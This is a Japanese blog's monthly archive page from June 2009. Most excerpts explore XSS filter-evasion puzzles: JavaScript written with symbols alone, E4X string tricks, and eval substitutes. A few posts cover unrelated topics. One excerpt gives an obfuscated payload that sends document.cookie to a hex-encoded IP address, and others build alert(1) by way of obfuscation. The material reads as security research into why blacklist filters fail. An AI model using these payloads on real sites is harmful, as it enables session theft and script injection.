2009-06-01から1ヶ月間の記事一覧

むっ…むづかしい

http://blog.stevenlevithan.com/archives/multi-replaceでもいいかも?

hasegawayosuke先生、びっくりさせないでくださいよ(w

åöá쨧áìåòô¨±©§©IEでUS-ASCIIなり。よくもまぁこんなことを…おもいつくものですね。>id:hasegawayosuke先生。もはや白魔導師のレベルではないのでは?上記は先生の叡智を拝借して以下を魔導師の呪文に翻訳したものです。私には詠唱すらできないほどの禁呪…

文字列としてスラッシュをつくる

hasegawayosukewith(/http/) x=source; with(x) with(<xml><s>://0xAC100101/</s></xml>) x=concat(s);with(document)with(x)location=concat(cookie); 「://」を含めたいのでE4X使ってますけど、もうちょっと。…E4Xを使わずに「/」を作れるのかなぁとボンヤリと考えました。前…

溶鉱炉にロボットが沈むエピソードは鉄人28号が先

ただし、編集部によってボツになったらしい。ふーん。日本でロボティクスが先進的なのはやはり鉄腕アトムやかずかずのロボットもので、青少年にロボット忌避感がないからでしょう、とのこと。なるほど。フランケンシュタイン症候群がありますからねぇ、欧米…

あとで読む

#{}=1;{}

謎の回答::詰めXSSに対して

匿名の方からメールが届きました。「最近の問題への回答ではないけれども面白いはず」ということでした。コードを拝見したところ約10分ぐらい頭がくらくらしました。以下のような感じです。多少修正しました。HTML4.01のトランザクショナルということでお願…

jjencode:jjdecodeを見て$と_を削りたくなりました

id:javascripterさん謹製のjjencode:jjdecodeを拝見しました。以下の記述に心惹かれました。 使用するグローバル変数が$_だけ 早速、脳内で妄想が。グローバル変数の汚染やグローバルオブジェクトの改変なしでalert(1)することは果たして可能なのでしょうか?…

hasegawayosukeさんのトリックを再構したいのだけれど(2)

ロードマップを考えてみました なにか指標がないと考えにくいと気がついたのでロードマップをと。 第一段階 整数を作る。たとえば、「0」なら +''これは、型変換で発生しているような気がします。あとは、インクリメント演算子で任意の自然数まで作成可能。 …

文字列結合系::こんなん作りました

//基礎for (foo in {bar:0}){ } // foo = "bar" alert(foo); // alerts "bar" alert(typeof foo) // alerts "string" //応用for each (obj in {e:{}}){ for each (obj[<>{<>al}{<>ert(1)}] in {z:0}){ for (x in obj){ } } }alert(x) // alerts "alert(1)" a…

ハイゼンベルグとボーアとバグ

ハイゼンベルグとボーアは、初期の量子力学構築の大立者の物理学者です。この人たちの名前がついたバグの分類方法の名称があるのだそうで。 ボーア バグ バグ現象の成立条件が判明していてその条件さえ整えればいつでも再現可能なバグ ハイゼンバグ バグがあ…

hasegawayosukeさんのトリックを再構したいけれど

実を言うと記号なしでJavaScriptというhasegawayosukeさんのトリックをあんまり深く調べていないんですよね。なんとなく筋道はわかるはずなので自分で作ってみようかとチャレンジしているわけです。そこで最初に考えていた問題が、文字「p」が欲しいというこ…

詰めXSS

以上、hasegawayosukeさんにインスパイアされて詰めXSSを作ってみました。もうひとつ別ねたもありますので、現在磨いております。連続するアルファベットは全部禁止というネタです。禁止する記号としては「=」「"」「'」「+」「-」「.(=ドット)」などでし…

遊びでやってみよう::記号禁止一歩手前でJavaScriptを書く

以下の断片が含まれるHTMLを吐き出すウェブアプリがあったとします。 <script type="text/javascript" > $userdata </script>において、$userdataには以下のフィルターがかかっています。text/htmlでcharsetがiso-8859-1の世界で考えてください。 数字オッケー 英小文字オッケー 英大文字オッケー スペ…

記号だけでJavaScriptを実行する

記号だけでJavaScriptを実行するというid:hasegawayosukeさんの最近の素晴らしいアイデアにはほとほと感服しました。文字列を拾ってブラックリストにのっていればこれを拒否するタイプのフィルターは無意味であると高らかに宣言しているからです。

XSSフィルターの評価について

たとえば以下のように、script要素の中に第三者の記述(=$userdata)が埋め込まれるとします。 <script type="text/javascript" > $userdata </script>防衛観点からみれば、こんなことが可能なようでは、まず駄目というのが定説です。まぁそれでもなんらかのフィルターがあればまだましだろう、という考…

.constructor.constructor

.constructor.constructorがevalの代用品として意識できること、確かにそうなのです。私が以前この日記で取り上げた時には、「eval」という綴りを表面化せずにどうしようか?ということだったのですが…そういう縛りを忘れれば、 (0)['ev'+'al']()でも十分い…

色覚を超えて

比較的多くの人には色は三原色です。少なからぬ人にとって色は二原色です。あるタイプの女性には、色の構成要素が四原色として知覚されるのだそうです。うああ。でも彼女たちは自分の色覚が異端であることに気がつくことは、恐らく稀なんでしょうね。※小学校…

ピノキオ歌

学生時代、私は大学近くの喫茶店「ピノキオ」の常連でした。ピノキオには自由ノートがおいてあり、誰でも書いたり読んだりできました。そのノートで「いろは歌」の別バージョンを作れ、というお題が出されました。私も参加し、相当の自信作を得ました。 『大…

とりな歌

「いろは歌」ならぬ「とりな歌」として親しまれ、かつては教育現場にも使われた美しい詩があります。とりなくこゑす ゆめさませ みよあけわたる ひんがしを そらいろはえて おきつべに ほふねむれいぬ もやのうち鳥啼く声す 夢覚ませ 見よ明け渡る 東を 空色…

<>{}{}.toString()

e4x系。hasegawayosukeさんが前に教えてくれたときにはtoString()な風情を醸し出していたので、ちょっと変更可能かどうか考えてみました。ちなみにジカガきモードなので他に変数の宣言がいりません。<>{<>HaSeGaW}{<>AyOsUkE}.toLowerCase()以上が、stringな…